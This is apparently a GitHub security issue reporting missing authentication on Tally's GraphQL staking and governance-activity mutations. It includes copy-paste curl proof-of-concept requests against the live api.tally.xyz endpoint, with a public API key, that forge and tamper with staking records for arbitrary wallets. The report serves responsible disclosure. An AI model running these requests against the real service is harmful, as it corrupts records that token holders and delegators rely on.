Skip to content

[High] Unauthenticated attacker can forge and tamper with any wallet's UNI-staking transaction records #717

Description

@N008x

Severity: High
CVSS: 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N)
Endpoint: POST https://api.tally.xyz/query (GraphQL mutations createUnistakerTransaction / updateUnistakerTransaction; query unistakerTransactions)
Auth: NONE (only the public NEXT_PUBLIC frontend Api-Key; no user session / Bearer token)

Unauthenticated attacker can forge and tamper with any wallet's UNI-staking transaction records

Summary:
The GraphQL mutations createUnistakerTransaction and updateUnistakerTransaction perform NO
authentication or authorization check. These resolvers are meant to be written only by Tally's own
on-chain indexer, but any anonymous internet user (sending only the public frontend Api-Key) can:

  • INSERT staking-transaction records attributed to ANY wallet address, with attacker-chosen type
    (stake / withdraw / stakemore / claimreward / alterdelegatee / alterbeneficiary / multicall /
    delete), arbitrary amounts, delegatee/beneficiary, and status; and
  • MODIFY the status of ANY existing record (selected by its HashID) to indexed / failed / timeout.
    The forged rows persist and are served back through the public unistakerTransactions query that
    the Tally UI uses to display UniStaker staking activity. Contrast: the sibling mutations
    createTokenSale / updateTokenSale / setArbitrumProposalExecuted / ingestOFACAddresses all
    correctly return Unauthenticated: access denied — the auth middleware was simply omitted on the
    Unistaker resolvers. This is a distinct subsystem/endpoint from the previously reported governance
    authz bugs (linkGovernor/updateGovernor/proposal-lifecycle/createSafe).

Steps to reproduce (copy-paste; KEY = public frontend Api-Key, no Bearer token sent):
KEY=365b418f59bd6dc4a0d7f23c2e8c12d982f156e9069695a6f0a2dcc3232448df

  1. INSERT a forged staking record for an arbitrary victim address (no auth):
    curl -s https://api.tally.xyz/query -H "Content-Type: application/json" -H "Api-Key: $KEY" -d '{
    "query":"mutation($i:CreateUnistakerTransactionInput!){createUnistakerTransaction(input:$i)}",
    "variables":{"i":{"id":"eip155:1:0x1212121212121212121212121212121212121212121212121212121212121212",
    "address":"0xVICTIM...","type":"stake","status":"pending","newAmount":"1000000"}}}'
    => {"data":{"createUnistakerTransaction":true}}

  2. Read it back through the public query (no auth) — record persisted:
    curl -s https://api.tally.xyz/query -H "Content-Type: application/json" -H "Api-Key: $KEY" -d '{
    "query":"query($i:UnistakerTransactionsInput!){unistakerTransactions(input:$i){id address type status newAmount createdAt}}",
    "variables":{"i":{"accountId":"eip155:1:0xVICTIM..."}}}'
    => {"data":{"unistakerTransactions":[{"id":"eip155:1:0x1212...","address":"0xVICTIM...",
    "type":"stake","status":"pending","newAmount":"1000000","createdAt":"2026-06-05T14:23:45Z"}]}}

  3. TAMPER: flip the record's status to "indexed" (no auth, by HashID only):
    curl -s https://api.tally.xyz/query -H "Content-Type: application/json" -H "Api-Key: $KEY" -d '{
    "query":"mutation($i:UpdateUnistakerTransactionInput!){updateUnistakerTransaction(input:$i)}",
    "variables":{"i":{"id":"eip155:1:0x1212...","status":"indexed"}}}'
    => {"data":{"updateUnistakerTransaction":true}} (re-reading shows status now "indexed")

  4. Protected sibling for comparison (proves the omission, not an open-by-design API):
    createTokenSale / updateTokenSale / setArbitrumProposalExecuted => "Unauthenticated: access denied".

Test artifacts left for you to purge (HashIDs on chain eip155:1):
0x1212121212121212121212121212121212121212121212121212121212121212
0x3434343434343434343434343434343434343434343434343434343434343434

Impact:

  • Anonymous, unlimited forgery of UniStaker staking activity attributed to arbitrary wallets, served
    by the public API/UI. Attacker can fabricate stake/claimreward/withdraw history, set huge amounts,
    forge alterdelegatee/alterbeneficiary events, and mark fakes as "indexed" (appearing confirmed).
  • updateUnistakerTransaction accepts any HashID with no ownership check, so a real indexed
    transaction can be flipped to failed/timeout — corruption/DoS of genuine staking records.
  • Data-integrity compromise of governance-staking information that delegators/holders rely on, and
    pollution of any analytics/derived state computed from these records.

Mitigating factors (honest): these are off-chain index records mirroring on-chain UniStaker events;
the bug does not move on-chain funds or change real staking balances. Harm is to the integrity and
trustworthiness of the data Tally displays and any logic derived from it.

Additional confirmed instances (SAME root cause — auth middleware omitted on activity/tracking
resolvers; all verified UNAUTHENTICATED this assessment, public Api-Key only, no Bearer):

  • createCastVoteMetaTransaction(governorId,address,transactionId,validUntil,gasPrice,proposalId,
    support) => returned a MetaTransaction (SUCCESS, unauth). Lets anyone forge governance
    vote-attempt/meta-transaction records attributed to arbitrary voter addresses and governors; the
    records are served by the public metaTransactions(action,governorId,address) query, so forged
    "who attempted to vote on proposal X" activity appears in Tally's governance data.
  • createDelegateMetaTransaction(...) => unauth reaches business logic ("asset id is not valid" — a
    field-validation error, NOT access-denied); succeeds with a valid AssetID → forged delegation
    meta-transaction records for arbitrary from/delegatee addresses.
  • createVoteAttempt(proposalId,type,txHash,voter) => unauth reaches business logic ("failed to fetch
    proposal" for a non-existent id, NOT access-denied) → forged vote-attempt rows for arbitrary voters
    on real proposals.
    These were tested with clearly-marked junk inputs; a full authz audit of the resolver layer is
    recommended (the same middleware that protects createTokenSale / updateChain / setArbitrumProposal-
    Executed / ingestOFACAddresses / loginAsSafe was simply not applied to the above).

Fix:
Apply the same authentication/authorization middleware used by createTokenSale/updateTokenSale to
createUnistakerTransaction and updateUnistakerTransaction (and to createCastVoteMetaTransaction,
createDelegateMetaTransaction, createVoteAttempt) — restrict writes to the trusted indexer/relayer
service account or an authenticated, authorized user. Reject writes whose address/voter/id are
not owned by the caller, and do not allow client-supplied HashIDs to overwrite or mutate existing
records without authorization.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions